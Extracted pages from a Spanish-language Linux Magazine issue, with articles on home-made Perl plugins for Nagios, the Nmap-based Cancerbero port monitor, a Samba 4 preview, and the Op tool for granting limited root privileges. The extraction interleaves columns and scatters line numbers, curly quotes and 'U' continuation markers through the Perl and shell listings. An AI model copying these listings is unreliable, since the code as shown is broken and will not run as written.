#!/usr/bin/perl -w use strict; use Sysadm::Install qw(:all); use CGI qw(:all); use Regexp::Common; use Sysadm::Install qw(:all); my($stdout, $stderr, $rc) = tap “iostat”, 1, 2; $stdout =~ /avg-cpu.*?avg-cpu/gs;
13 14 print header(); 15 16 for my $key (qw(user nice sys 17 iowait idle)) { 18 if($stdout =~ 19 /\G.*?($RE{num}{real})/gs) { 20 printf “%s %s “, $key, $1; 21 } 22 }
56
Número 20
comandos a ejecutar. La línea check_command puede tomar argumentos opcionales, que pasa a continuación a la definición del comando. Separada por un signo de exclamación, la URL de la línea check_command se pasa a la definición del comando iostat y reemplaza al parámetro de sustitución $ARG1$. El valor 24x7 de check_period y notification_period requiere configuraciones para definir la dirección de email del administrador y la disponibilidad. Podemos encontrar un archivo de ejemplo llamado eznagios.cfg en [1], y añadir una línea tal que: cfg_file= U /usr/local/nagios/etc/eznagios.cfg
al archivo de configuración nagios.cfg. Al mismo tiempo, eznagios.cfg define los tests de Nagios que nos indican cuanto espacio en disco está ocupado y si el router y servidor de DNS de nuestro proveedor están funcionando.
Calentito, calentito… check_temperature es otro ejemplo claro de plugin de cosecha propia para Nagios. El script (véase el Listado 3) contacta una base de datos round-robin en busca de la medida de temperatura indicada en [3], y nos alerta si la medida más reciente de la temperatura externa o interna excede unos umbrales
WWW.LINUX- MAGAZINE.ES
10 11 12 13
#!/usr/bin/perl ############################## use strict; use LWP::Simple; use Log::Log4perl qw(:easy); use Nagios::Clientstatus; my $version = “0.01”; my $ncli = Nagios::Clientstatus->new( help_subref => sub { print “usage: $0 url\n” }, version => $version, mandatory_args => [ “url” ], );
14 15 16 my $url = $ncli->get_given_arg(“url”); 17 18 my $data = get $url; 19 20 unless($data) { 21 print “Failed to get $url\n”; 22 exit $ncli->exitvalue(“unknown”); 23 } 24 25 my %values = split ‘ ‘, $data; 26 27 my $status = 28 $values{idle} < 50 ? “critical” : 29 $values{idle} < 70 ? “warning” : 30 $values{iowait} > 20 ? “critical” : 31 $values{iowait} > 10 ? “warning” : 32 “ok”; 33 34 print “IOSTAT “, uc($status), “ - $data\n”; 35 36 exit $ncli->exitvalue($status);
Perl • DESARROLLO
valores resultado y la salida del plugin para distintas configuraciones de los parámetros. De un modo similar al plugin Iostat que hemos visto anteriormente, la entrada del servicio Figura 3: iostat muestra el tiempo que ha estado la CPU sin utilizar y check_command cuánto ha estado esperando al disco duro. check_temperase dispara un aviso si la temperatura ture!25!30!Inside pasa los interna sube por encima de los 30º parámetros 25, 30 e “Inside” al centígrados. El umbral crítico es script. La entrada command corres35º. La Figura 5 muestra varios pondiente es algo como:
define command { command_name check_temper ature command_line U $USER1$/check_temperature U -warn=$ARG1$ -crit=$ARG2$ U -dsname=$ARG3$ }
La sección central de la colorida tabla de la Figura 1 muestra que ambas temperaturas son bastante normales: 18.8º C (internos) y 15.9º C (externos). Al menos mi apartamento no está en llamas.
Listado 3: check_temperature 01 02 03 04 05 06 07 08 09 10 11 12
#!/usr/bin/perl -w ############################## use strict; use RRDTool::OO; use Getopt::Std; use Pod::Usage; use Nagios::Clientstatus; my $N = “TEMPERATURE”; my $nc = Nagios::Clientstatus->new( help_subref => sub { pod2usage() }, mandatory_args => [qw( crit warn dsname )], );
13 14 15 16 17 18 my $rrd = RRDTool::OO->new( 19 file => “/tmp/temperature.rrd” ); 20 21 my $dsnames = $rrd->meta_data(“dsnames”); 22 23 $rrd->fetch_start( 24 start => time() - 6*60, 25 end => time() 26 ); 27 28 my $temp; 29 30 if(my($time, @values) = 31 $rrd->fetch_next()) { 32 for(my $i=0; $i<@$dsnames;
33 34
35 36 37 38 39 40 41 42 43 44 45 46 47
$i++) { if($dsnames->[$i] eq $nc->get_given_arg(“dsname”)) { $temp = $values[$i]; last; } } } my $status
= “ok”;
if(! defined $temp) { $status = “unknown”; } elsif($temp >=
$nc->get_given_arg(“crit”)) { 48 $status = “critical”; 49 } 50 elsif($temp >= 51 $nc->get_given_arg(“warn”)) { 52 $status = “warning”; 53 } 54 55 printf “$N %s - %s: %s\n”, 56 uc($status), 57 $nc->get_given_arg(“dsname”), 58 defined $temp ? 59 sprintf(“%.1f”, $temp) : 60 “NODATA”; 61 62 exit $nc->exitvalue($status);
WWW.LINUX- MAGAZINE.ES
Figura 4: Configuración de Nagios para el nuevo plugin Iostat.
Instalar Nagios Creamos un usuario y grupo para Nagios: adduser nagios cd nagios-2.0 ./configure make all Instalamos los ejecutables, los scripts CGI y las páginas HTML. Creamos el script de arranque en /etc/rc.d/init.d, y generamos por último una configuración de ejemplo: make install make install-init make install-config
Número 20
57
DESARROLLO • Perl
Figura 5: Resultados y valores del plugin de la temperatura con diferentes parámetros en línea de comandos.
Instalación El tarball de la distribución 2.0 de Nagios está disponible en la página Web del proyecto [4]. Tras desempaquetarla, podemos seguir las instrucciones del cuadro “Instalar Nagios” para conseguir un servidor Nagios operativo. Otro tarball [2] contiene los plugins estándar para Nagios 2.0. Tenemos que desempaquetar el tarball en /usr/local/nagios/libexec. El principal obstáculo para echar a andar Nagios es la configuración. Tras instalar la herramienta, el administrador debe crear al menos seis(!) archivos de configuración diferentes.
Afortunadamente, la distribución nos ofrece una colección de archivos de ejemplo que podemos editar. Para ello, simplemente renombramos los archivos .cfg-sample bajo /usr/local/nagios/etc a .cfg. La instalación de Nagios no debería ser accesible públicamente a través de Internet. Puede que queramos usar los ajustes de la Figura 6 al configurar el servidor Web de nuestro Nagios. Tras ejecutar el demonio de Nagios tecleando /etc/rc.d/init.d/nagios restart (como root), y enviar una señal HUP al servidor Web, los usuarios autenticados pueden acceder a los datos medidos y las series de reportes en http://localhost/nagios (véase Figura 1). Si la página de Nagios está ubicada tras un firewall, y estamos seguros de que sólo puede accederse por usuarios autorizados, podemos ignorar la autenticación y comentar las líneas Require valid-user. En el archivo de configuración de
Listado 4: Guest Access 01 02 03 04 05 06 07 08 09
58
# cgi.cfg: default_user_name=guest authorized_for_system_information=nagiosadmin,guest authorized_for_configuration_information=nagiosadmin, authorized_for_all_services=nagiosadmin,guest authorized_for_all_hosts=nagiosadmin,guest authorized_for_all_service_commands=nagiosadmin,guest authorized_for_all_host_commands=nagiosadmin,guest
Número 20
WWW.LINUX- MAGAZINE.ES
Figura 6: Configuración del servidor Web para Nagios.
Nagios, cgi.cfg, las entradas del Listado 4 permitirían a un usuario no autenticado acceder a toda la información y comandos de servicio.
Dormir a Pierna Suelta Tras realizar todos estos cambios en los archivos de configuración, podría ser una buena idea verificar si la configuración está libre de errores antes de intentar reiniciar el demonio. Para verificar la sintaxis: cd /usr/local/nagios bin/nagios -v etc/nagios.cfg
Una buena estrategia de monitorización, llevada a cabo de manera fiable por Nagios, garantiza al administrador el poder dormir a pierna suelta, a menos que salten las alarmas, claro. Siempre será preferible despertarse por un aviso de Nagios a nuestro busca que saltar de la cama por un usuario malhumorado que nos llama ■ en mitad de la noche.
RECURSOS [1] Listados de este artículo: http://www. linux-magazine.es/Magazine/ Downloads/20 [2] Plugins estándar para Nagios-2.0: http://prdownloads.sourceforge.net/ nagiosplug/nagios-plugins-1.4.2.tar. gz [3] Michael Schilli, “¿Está que arde?”, Número 18 de Linux Magazine edición en castellano, pag. 46 [4] Nagios: http://www.nagios.org
La Columna de Charly • ADMINISTRACIÓN
El Día a Día del Administrador de Sistemas: Cancerbero
PUERTOS MOVIDITOS Cuando los puertos de un equipo empiezan a abrirse y cerrarse como ventanas lanzadas al viento, es hora de que los administradores presten atención. POR CHARLY KÜHNAST
E
l mes pasado, le eché un vistazo a algunas de las nuevas características de Nmap 4.00. Este tema fue muy interesante entonces, sin embargo, éste describiré a Cancerbero [1], una herramienta para monitorizar un servidor basado en Nmap. La herramienta, que está escrita en Perl, hace uso de la potencia de Nmap para escanear los puertos de los dispositivos de red. Cancerbero registra los resultados en una base de datos y utiliza una pequeña interfaz PHP para poder ver mejor los resultados. Los beneficios son obvios: Echemos un vistazo rápido a los puertos y fácilmente podremos saber qué puertos están abiertos o cerrados. Se
distribución basada en RPM. Sin embargo, esto puede ser una buena oportunidad para sacar Alien, la herramienta con nombre extraterrestre que convierte paquetes formateados a RPM. Si no funciona, también puedo pelearme con el fichero tar. Quien no arriesga no gana: alien -r cancerbero_U 0.4-1_i386.deb
Alien me dio un fichero llamado cancerbero-0.4-2.i386.rpm. Vamos a tener cuidado con la primera instalación: rpm -Uvh —test U cancerbero-0.4-2.i386.rpm
Todo está tranquilo en el frente Oeste y así siguió incluso después de eliminar el parámetro —test. Por supuesto, tuve que resolver las dependencias por mí Figura 1: Salida detallada de Cancerbero tras completar un escaneo. mismo. En el lisLa interfaz en PHP muestra un listado de los puertos abiertos y los tado que aparece sistemas operativos de los servidores. en [2] pueden encontrarse otros encuentran disponibles un archivo tar y un componentes que necesita Cancerbero. paquete Debian del programa. En mi caso, Afortunadamente, la lista no contiene la última opción no lo está, ya que mis nada que sea realmente raro y si está equipos de laboratorio ejecutan una acostumbrado a tratar con Perl, probablemente ya tenga estos componentes instalados en el sistema. SYSADMIN Samba 4 . . . . . . . . . . . . . . . . . . . . . .60 Aprende lo nuevo de la próxima versión del servidor de ficheros y de impresión Samba. Privilegios root con OP . . . . . . . . . .64 La versátil utilidad Op es una herramienta sencilla para la gestión de los privilegios de los usuarios.
mysql -D database-name U -u SQL-username -p U < cancerbero.sql
Crear una Tabla en la Base de Datos Como Cancerbero quiere almacenar los datos en una base de datos MySQL, tendré que crearla primero (hay una excelente guía paso a paso en [2]). Cancerbero le proporciona una tabla para explicar la estructura, y para usarla puede introducir:
WWW.LINUX-MAGAZINE.ES
Cuando instalé el paquete (o desempaqueté el fichero tar), se creó un directorio denominado /site. Necesito mover este directorio a la ruta donde el servidor web pueda verlo. El fichero de configuración principal, cancerbero.conf, se almacena bajo /etc/cancerbero. Tengo que modificar los parámetros de acceso a la base de datos (nombre de la base de datos, host, nombre de usuario, contraseña) para que coincida con la configuración de MySQL. También necesito definir el rango de la red que Cancerbero va a monitorizar, por ejemplo 192.168.1.0/24. Desafortunadamente, el programa está restringido a un solo rango actualmente; en mi humilde opinión, esta es la mayor restricción de Cancerbero. Pero el autor ha prometido arreglarlo y el programa sólo va por la versión 0.4. La lista-blanca me permite definir una lista separada por comas de redes y equipos que esta herramienta nunca debería escanear. Esto es realmente útil si se tienen impresoras en la red. Finalmente, necesito pasar los parámetros de la base de datos que ya le he pasado a Cancerbero en su interfaz PHP. Para hacerlo, sólo necesito introducir los datos en /include/dbconnect.php. ¡Terminado! Ahora sólo tengo que hacer clic para escanear con mi navegador.
RECURSOS [1] Cancerbero: http://cancerbero. sourceforge.net [2] Instalación: http://cancerbero. sourceforge.net/install.html
Número 20
59
ADMINISTRACIÓN • Samba 4
Un Primer Vistazo a Samba 4
UN NUEVO BAILE A finales de enero se publicó una versión técnica previa de Samba 4. Vamos a echarle un vistazo a lo que nos traerá esta nueva versión del servidor de ficheros de impresión Samba. POR MARKUS KLIME
T
odas las versiones de Samba tienen el mismo objetivo: compartir recursos Windows en sistemas operativos basados en Unix, como Linux, y compartir los recursos de Linux con los sistemas Windows [1]. Desafortunadamente, el soporte para los sistemas Microsoft es un objetivo difícil: Redmond no tiene la fama que tiene precisamente por su voluntad de publicar especificaciones y el gigante del software continúa extendiendo los protocolos SMB/CIFS desde una versión Windows a la siguiente. Los desarrolladores de Código Abierto intentan seguirle la pista a los cambios introducidos en SMB, utilizando para ello herramientas como Ethereal, la cual les permite fisgar en las conexiones, aunque Microsoft dió un paso más con Windows 2000, introduciendo el sistema de directorios basado en objetos conocido como Servicio de Directorio Activo (ADS, [2]). Al contrario que en los desarrollos previos, en este caso Microsoft intentó establecer un estándar desarrollando una base de datos LDAP junto con un mecanismo de autenticación Kerberos 5, y optando por un método de resolución de nombres basado en DNS. El hecho de que Microsoft haya mantenido principalmente un estándar auténtico le permite a Linux proporcionar un alto grado de interoperatividad gracias a las implementaciones libres como OpenLDAP y las versiones MIT o Heimdal de Kerberos.
60
Número 20
Uno de los principales objetivos de Samba 4 es proporcionar un servidor de directorios Samba que pueda interoperar con el Directorio Activo de Microsoft; una versión muy temprana de esta funcionalidad salió al público a finales de enero. El equipo de Samba optó por una solución radical, reimplementar la mayoría de las rutinas para liberar a Samba 4 de la carga de modificaciones sufridas durante las versiones anteriores. Como consecuencia, se han eliminado muchas de las opciones en las que se basaba Samba .
Kerberos y LDAP Samba 3 proporcionó a los administradores de redes la opción de instalar una máquina Linux como un servidor de miembros de dominio en un dominio Windows 2000/2003. Desde un punto de vista técnico, el servidor de miembros utiliza los tickets de Kerberos para los
propósitos de autenticación. Basándose en este diseño, tanto los servidores como los clientes (utilizando herramientas como smbmount) intercambiaban tickets, implementando operaciones de firma entre Linux y Windows a través del dominio. El uso de Samba 3 como controlador de dominio primario (PDC) o como controlador de dominio de reserva (BDC) estaba restringido a la autenticación del tipo Windows NT, con Kerberos de por medio. Ahora que Samba 4 implementa sus propias funcionalidades de Kerberos, Samba puede reemplazar a un controlador de dominio Windows (véase más adelante). La implementación de Kerberos es la variante Heimdal, por lo que es lógico que su desarrollador, Love Astrand, asuma la mayor parte del trabajo de programación pendiente. En el futuro será posible el uso de librerías externas de Kerberos.
Figura 1: La herramienta provision inicializa la base de datos de Samba. También se puede ejecutar Swat.
WWW.LINUX-MAGAZINE.ES
Samba 4 • ADMINISTRACIÓN
librarse de los problemas con las replicaciones. Por ejemplo, los desarrolladores querían migrar los cambios por las máquinas implicadas para eliminar cualquier peligro de inconsistencia en las replicaciones. Parece como si Samba 4 fuera a retener la habilidad de ligarse a OpenLDAP, principalmente para soportar los entornos establecidos con servidores Samba 3.
CIFS, NTFS y Posix ACLs
Figura 2: Se añade con éxito un Windows 2003 Server como Member Server a un dominio de Samba 4.
Algo que Samba 3 nunca consiguió solucionar fue la sincronización de las bases de datos de los usuarios con su propia base de datos Samba (véase el cuadro titulado “Samba4WINS” para más detalles). Como OpenLDAP puede replicar su base de datos en otros servidores del mismo tipo, los desarrolladores de Samba 3 simplemente eliminaron esta posibilidad. Sin embargo, la configuración de un servidor OpenLDAP es de todo menos trivial. El equipo de Samba 4, liderado por Andrew Tridgell, valoró la carga tecnológica e implementó su propio servidor LDAP conocido como LDB. Otra razón importante por la que Samba implementa su propia solución LDAP es para
Nunca ha sido el objetivo de Samba la restricción del soporte a entornos heterogéneos; al contrario, Samba siempre ha jugado un rol importante en el dominio NFS, soportando el intercambio de datos entre los sistemas Unix y Linux, hasta el punto de competir con NFS 4, que no está completamente desarrollado. Esto se ha puesto en evidencia gracias a los módulos del kernel CIFS, donde el trabajo de desarrollo ha continuado de versión en versión. Tómense las características experimentales de CIFS, por ejemplo, que soporta Kerberos desde la versión 2.6.16. Esto fue un importante retroceso en comparación con Windows SMB, que permitía a los usuarios montar los recursos compartidos usando firmas simples con la opción -o krb. En lo que se refiere a la gestión de acceso, Samba ha sido capaz de asignar Posix ACLs a NTFS ACLs y viceversa. De nuevo, la versión 4 toma una solución diferente y en vez de almacenar las ACLs NT en el sistema de ficheros Posix, presenta un sistema de ficheros virtual, conocido como NTVFS, para almacenar los atributos NTFS tal cual. Es incluso
Samba4WINS El servicio de nombres de Internet de Windows (WINS) se remonta a los días de NT4. Incluso los sistemas Windows más recientes utilizan el protocolo WINS para resolver los nombres NetBIOS. Cuando se asocia un recurso compartido, el nombre NetBIOS puede utilizarse después de la primera barra o barras (\\). Samba ha estado dando soporte a NetBIOS, ya que ésta es la forma de permitir la interoperabilidad entre los servidores. Samba 4 no ha realizado ningún cambio significativo respecto a esto. El problema está en que los servidores WINS basados en Samba no soportan la replicación, dejando a los administradores sin otra alternativa que gastarse el dinero en servidores WINS sobre Windows. El proyecto de cooperación Samba4WINS [3] intenta cambiar esta situación. Las empresas involucradas son Sernet, Computacenter y Fujitsu Siemens. Samba4WINS estará perfectamente integrada con Samba 4. Esta funcionalidad puede ser integrada en la versión 3.0.21 o posteriores de Samba y se ejecuta como un proceso independiente.
capaz de emular ACLs en flujos de datos NTFS. ADS (Alternate Data Streams) es una función del sistema de ficheros NTFS, que permite a los usuarios almacenar datos alternos invisibles para un fichero. Las políticas de grupos es otro de los temas a debate; en el
Listado 1: smb.conf 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18
# Global parameters [global] server role = pdc workgroup = TESTDOMAIN realm = TESTDOMAIN.ORG netbios name = LINUX log level = 2 registry:hkey_users = hku.,ldb registry:hkey_local_machine = hklm.ldb comment = path = ntvfs handler = unixuid,default read only = Yes hosts allow = hosts deny = max connections = -1 strict sync = No case insensitive filesystem = No
19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
max print jobs = 1000 printable = No printer name = map system = No map hidden = No map archive = Yes browseable = Yes csc policy = manual strict locking = Yes copy = include = available = Yes volume = fstype = NTFS msdfs root = No [data] path = /export/data read only = No hosts allow =
WWW.LINUX-MAGAZINE.ES
39 hosts deny = 40 41 [IPC$] 42 comment = IPC Service (Samba 4.0.0tp1) 43 path = /tmp 44 ntvfs handler = default 45 hosts allow = 46 hosts deny = 47 browseable = No 48 fstype = IPC 49 50 [ADMIN$] 51 comment = DISK Service (Samba 4.0.0tp1) 52 path = /tmp 53 hosts allow = 54 hosts deny = 55 browseable = No 56 fstype = DISK
Número 20
61
ADMINISTRACIÓN • Samba 4
Revisión de SWAT
Figura 3: Swat permite establecer un usuario codificado como LDIF; las herramientas de consola proporcionan la misma posibilidad.
momento de escribir este artículo, no se sabe cómo lo abordará Samba 4.
Prueba con Controlador Dominio Primario Tras descomprimir el código fuente de Samba 4.0.0tp1, que se encuentra disponible en [4], debería buscarse el fichero howto.txt en el directorio del proyecto; el fichero contiene algunas notas interesantes. Tras completar la compilación, primero hay que preparar la base de datos. La herramienta provision se encarga de esta tarea, creando la base de datos LDAP, el registro y las entradas predefinidas para acceder al LDB y al servidor DNS de servicios de Kerberos (véase la Figura 1). Aún habrá que añadir manualmente algunas entradas de zonas al servidor DNS. La herramienta equivalente a provision en Windows se denomina dcpromo. Provision también creará un fichero smb.conf mínimo. Si se le pasa el prefijo /usr con el script de configuración, una vez haya finalizado, podrá encontrarse el fichero de configuración en /usr/lib. Para mayor control se puede conmutar el servidor Samba a modo interactivo introduciendo smbd -i -M single; con este comando se obtienen mensajes en stdout. Samba 4 soporta tres modos de proceso: se puede ejecutar como un único proceso, en modo hilo o como una variante multiproceso. Una vez que el servidor se esté ejecutando y se haya establecido un recurso compartido de prueba, testparm debería proporcionar algo parecido a las líneas que aparecen en el Listado 1.
62
Número 20
Según el equipo de desarrollo de Samba, la versión 4.0.0tp1 es capaz de reemplazar a un PDC. Después de añadir las entradas DNS, no hay nada que le impida añadir una máquina Windows al dominio Samba. En nuestro laboratorio, añadimos un Windows 2003 Server como un servidor miembro. Tras especificar el dominio e indicarle que la máquina se añadiera al dominio, Windows 2003 parecía sentirse como en casa (véase la Figura 2).
Los gestores del sistema han sido mejorados y se han extendido considerablemente. Tras añadir algunas características nuevas como Kerberos y LDAP, el equipo de Samba ha dado algunos pasos para hacer que la vida de los administradores de sistemas sea más sencilla. La famosa herramienta, pero apenas utilizada, SWAT ha renacido en la versión 4: el interfaz basado en el navegador es ahora una parte integral de la suite de Samba. Tan pronto como se haya ejecutado el servidor Samba, un servidor web compacto de Appweb [5] proporciona la plataforma para SWAT. Esto elimina la necesidad de instalar SWAT, al contrario que en las versiones previas; simplemente se puede navegar por la herramienta con un navegador de Internet tras ejecutar el servidor SWAT. SWAT todavía carece de algunas características para ser una interfaz administrativa completa. Pero definitivamente está preparada para mostrar que Samba 4 está cumpliendo su rol de PDC. El usuario por defecto es Administrator, que se espera que acceda desde un cliente Windows. Aunque SWAT proporciona la posibilidad de añadir otro usuario. Como alternativa, puede que se desee probar alguna de las numerosas herramientas de consola: como ldbadd. Téngase en cuenta que
Figura 4: La herramienta de consola ldbsearch busca a un usuario.
WWW.LINUX-MAGAZINE.ES
Samba 4 • ADMINISTRACIÓN
ldbadd requiere un usuario codificado en LDIF. Como SWAT no es capaz de manejarlo, la Figura 3 muestra cómo se añade un usuario al dominio. La primera vez que este usuario se conecte al sistema, el registro de Samba requerirá que se cambie la contraseña. SWAT no soporta políticas de contraseñas en el momento de escribir este artículo. Suponiendo que la conexión funcione, las credenciales del usuario se almacenarán de forma segura en la base de datos LDB de Samba. Si se desea comprobar las entradas de la base de datos o modificarlas, se pueden ejecutar la herramientas de consola ldbedit o ldbsearch. La primera abre la base de datos en un editor de texto, donde se puede buscar la entrada del usuario y modificarla si fuera necesario. La Figura 4 muestra el uso de ldbsearch. Samba 3 poseía la habilidad, bastante útil, de ser capaz de aceptar un dominio migrado de un servidor Windows NT y, desde luego, Samba 4 también puede hacerlo. (Además, los administradores pueden migrar los dominios de Samba 3 a Samba 4 con SWAT). Este modo “Vampiro” ya no está solamente restringido a Windows NT sino que también funciona con Windows 2000/2003 Server. En la Figura 5 puede verse cómo hemos migrado un dominio Windows 2003. Si se desea estar seguro de que todo ha funcionado, se puede buscar a un usuario en la base de datos LDB de Samba para confirmar que el usuario ha sobrevivido a la migración al nuevo dominio.
La Configuración La edición de un fichero de configuración es un método de prueba y confianza. En Samba ha crecido notablemente el número de opciones de los ficheros de configuración. Al mismo tiempo, han sido eliminadas algunas de las opciones de Samba 3. No está claro cuáles son las opciones que han desaparecido, ya que algunas de ellas están aún siendo reprogramadas debido a que ocasionaban problemas con las operaciones del modo de interoperabilidad. Nuevas palabras reservadas describen el estado y el comportramiento del KDC, kpasswd port o krb5 port, por ejemplo. La opción paranoid server security define un nivel de seguridad, donde ntvfs handler especifica cómo debe comportarse la capa NTVFS. Por defecto tiene ntvfs = unix-uid, que sincroniza las operaciones de ficheros con el sistema de ficheros Posix subyacente. La opción ntvfs = cifs permite ejecutar un servidor Samba como una puerta de
Figura 5: Swat tras realizar una migración con éxito de un dominio Windows 2003.
enlace CIFS, la cual reenvía las peticiones de ficheros a otro servidor CIFS. Si la puerta de enlace es un servidor de miembros de dominios, podrá redirigir las peticiones de tickets de los usuarios o servicios: [extdata] ntvfs handler = cifs cifs:server = nextserver cifs:share = shared
No hay muchos back-ends disponibles para NTVFS en el momento de escribir este artículo. Además del que he mencionado, el código fuente tiene una opción simple, sin embargo, la opción realiza operaciones de ficheros con los privilegios del root, lo que la hace poco útil. Si se necesita más información sobre las opciones de samba.conf, véase el código fuente de source/param/loadparm.c.
Déjalo Solo A pesar de todo, parece que Samba 4 se está librando de las sogas que lo atan a su herencia. Además de LDAP y Kerberos, el software puede manejar ACLs más allá de Posix y posee su propio emulador de Servidor de Directorio Activo. Samba4WINS proporciona servicios de replicación para servidores WINS. Hay tres modelos para mejorar la escalabilidad: proceso único, múltiples procesos como en Samba 3 o una variante basada en hilos. El “Technical Preview” que hemos leído nos dio la impresión de que parecía una plataforma de prueba de nuevas
WWW.LINUX-MAGAZINE.ES
tecnologías. No posee todo el rango de características que se necesitaría para un sistema en producción, por ejemplo, ya que el soporte de impresión no está disponible. Los desarrolladores no recomiendan la instalación de Samba 4 en entornos de producción hasta que ellos no hayan concluido su trabajo. Una nota de prensa indica que esto no sucederá como mínimo hasta pasado el verano. La versión 4 no es lo único que tiene a los desarrolladores de este proyecto ocupados; también está la cuestión de la versión SMB2 no documentada de Windows Vista, que tiene un diseño completamente nuevo. Si el caso antimonopolios de la UE contra Microsoft falla a la hora de obligar a la compañía a publicar los interfaces, el equipo de Samba estará encantado de volver a sus antiguas usanzas, espiando las transferencias de ■ ficheros con Ethereal.
RECURSOS [1] Samba: http://samba.org [2] Directorio Activo: http://www. microsoft.com/technet/prodtechnol/ windows2000serv/technologies/ activedirectory/default.mspx [3] Samba4WINS: http:// EnterpriseSamba.org/index. php?id=88 [4] Samba 4.0.0tp1: http://devel.samba. org/samba/ftp/samba4/ [5] Servidor Web Appweb: http://www. appwebserver.org
Número 20
63
ADMINISTRACIÓN • Op
Asignación de Privilegios Root con Op
ROOT SIMPLE La versátil utilidad Op es una herramienta sencilla para la gestión de los privilegios de los usuarios. POR HANS-GEORG ESSER
L
inux es un sistema multiusuario en el que el acceso a la cuenta privilegiada de root está bien protegido en muchas máquinas. Los privilegios de los usuarios normales a menudo son insuficientes para montar un CD o una memoria USB. Algunas distribuciones incluso requieren de los privilegios de root para el acceso a Internet. Si el usuario principal es también el administrador, algo normal en la mayoría de los PCs, tan sólo hay que teclear su e introducir la contraseña de root para obtener los privilegios requeridos, pero una vez obtenidos dichos privilegios como root con su, todos los comandos siguientes tendrán la potencia del superusuario, y si se está trabajando simplemente como root cualquier pequeño error puede tener efectos devastadores. Una solución a este problema es un escenario en el que el usuario asume solamente unos cuantos privilegios de root especificados por el administrador. Por ejemplo, se le puede permitir montar una memoria USB sin tener que acceder a otros comandos específicos de root. La herramienta sudo es el medio normal para asignar privilegios administrativos a los usuarios sin tener que darle la contraseña de root, pero una herramienta alternativa denominada Op hace que este proceso sea más sencillo tanto para el administrador como para el usuario.
Sudo: El Legado de una Herramienta El comando sudo [2] proporciona una solución al problema, permitiendo que los usuarios normales puedan ejecutar determinados comandos de root especificados por el administrador. Algunas distribuciones Linux (por ejemplo, Ubuntu y Knoppix) utilizan actualmente sudo para hacer que el usuario estándar sea el administrador, añadiendo una entrada de la forma nombre_de_usuario ALL = (root) al fichero de configuración /etc/sudoers. En este caso, cualquier usuario puede ejecutar arbitrariamente comandos como root tecleando la palabra sudo delante de la
64
Número 20
WWW.LINUX-MAGAZINE.ES
sintaxis del comando; por ejemplo, el comando sudo killall -9 comando matará todos los procesos denominados comando. Cuando se introduce una instrucción de este tipo, sudo solicita que el usuario teclee su propia contraseña antes de ejecutar el comando con los privilegios de root. Sudo puede ser útil si se desea una solución más versátil para especificar quién tiene permiso para ejecutar ciertos programas. Imaginemos que se quiera asignar a un usuario llamado abc el permiso para ejecutar el comando tail -f /var/log/messages; sólo hay que añadir la siguiente línea al fichero /etc/sudoers: abc ALL = (root) /usr/bin/tail U -f /var/log/messages
por supuesto, el usuario tendrá que teclear el comando exactamente tal y como se muestra aquí, aunque sudo no presentará ningún problema si el comando contiene unos cuantos espacios en blanco. Pero si no se pone el parámetro -f, se cambia el orden, y se podrá ver el siguiente mensaje de error: [abc@kira ~]$ sudoU /usr/bin/tailU /var/log/messages -f Sorry, user abc isU not allowed to execute ‘/usr/bin/tail /var/log/ messages -f’ as root on kira.
Con la sintaxis correcta no hay ningún problema: [abc@kira ~]$ sudoU /usr/bin/tailU -f /var/log/messages Mar 31 14:13:39 kira — MARK — Mar 31 14:33:39 kira — MARK — [...]
Los usuarios con privilegios sudo deben recordar la sintaxis exacta de cada comando que estén autorizados a
Op • ADMINISTRACIÓN
Si se desea que el usuario tenga que teclear su propia contraseña para autorizar la ejecución del comando (siguiendo la solución tradicional de sudo), tan sólo hay que añadir la opción password a la línea: halt /sbin/halt; users=abc U password Figura 1: El sitio web de Sudo contiene información detallada de la configuración.
ejecutar, o pueden teclear sudo -l para comprobar sus opciones: [abc@kira ~]$ sudo -l User abc may run the following U commands on this host: (root) /usr/bin/tail -f U /var/log/messages
Cada llamada incorrecta a sudo genera una entrada en el registro, y en algunas máquinas enviará un correo al administrador del sistema.
La Alternativa Op La herramienta Op es una alternativa a sudo poco conocida, con el beneficio añadido de simplificar la configuración, que presenta una solución más intuitiva para ejecutar comandos. Todo lo que se necesita para los comandos simples es una única línea: la sintaxis general de una entrada del fichero de configuración de Op es la siguiente: nuevo_comando comando; opciones
Por ejemplo, si se desea que el usuario abc pueda apagar la máquina ejecutando el comando halt, la siguiente línea se encargará de ello: halt /sbin/halt; users=abc
Listado 1: Comienzo con Op 01 messages /bin/cat /var/log/messages; users=abc 02 syslog /bin/cat /var/log/syslog; users=abc
Esto permite que pueda configurarse Op para las tareas críticas en cuestión de minutos. Téngase en cuenta que hay que especificar la ruta completa de los comandos en cuestión (por ejemplo, /sbin/halt en vez de halt en nuestro ejemplo). El usuario abc puede teclear op halt en el intérprete de comandos para apagar el PC.
Compilando la Herramienta Hay que seguir los pasos estándar para compilar Op; no hay que olvidar pasarle las dos opciones siguientes a configure:
/etc/op.d/log.conf, tal y como se muestra en el Listado 1, y con el comando chmod 600 /etc/op.d/log.conf se modifican los privilegios. El acceso de lectura y escritura de este fichero está restringido al usuario root. Si se nos olvidara la ejecución de chmod, el programa no funcionaría (y mostraría además un confuso mensaje de error indicando que no puede encontrar el fichero de configuración). Las dos líneas en el Listado 1 crean dos comandos nuevos, messages y syslog. El listado especifica la ruta completa de cat, /bin/cat, ya que Op no será capaz de encontrar la herramienta si no se le proporciona la ruta completa.
Scripts Op Una de las características más útiles es la posibilidad de añadir scripts de la línea de comandos al fichero de configuración. El Listado 2 muestra un ejemplo que define el comando Op, log, que permite leer los ficheros /var/log/messages y /var/log/syslog a los usuarios autorizados. Los scripts pueden analizar y evaluar los argumentos; al igual que los scripts normales y corrientes, utilizan variables de entorno $1, $2 … para esta tarea. El segundo comando del Listado 2, apache, permite a un usuario ejecutar y parar los servicios de Apache. El
./configure U —prefix=/usr U —sysconfdir=/etc make make install
Sin la opción prefix se instalará en /usr/local; y sin la opción —sysconfdir, buscará los ficheros de configuración en $PREFIX/etc/. En nuestro laboratorio no tuvimos ningún problema instalando la versión actual (1.32) de Op en una máquina Suse Linux 9.3; en Debian Sarge hay que ejecutar apt-get install flex antes que make.
Ejemplos Para crear un directorio de configuración para Op se teclea mkdir -p /etc/op.d, luego se crea el fichero de ejemplo
Figura 2: El sitio web de Op proporciona amplia información de la configuración.
WWW.LINUX-MAGAZINE.ES
Número 20
65
ADMINISTRACIÓN • Op
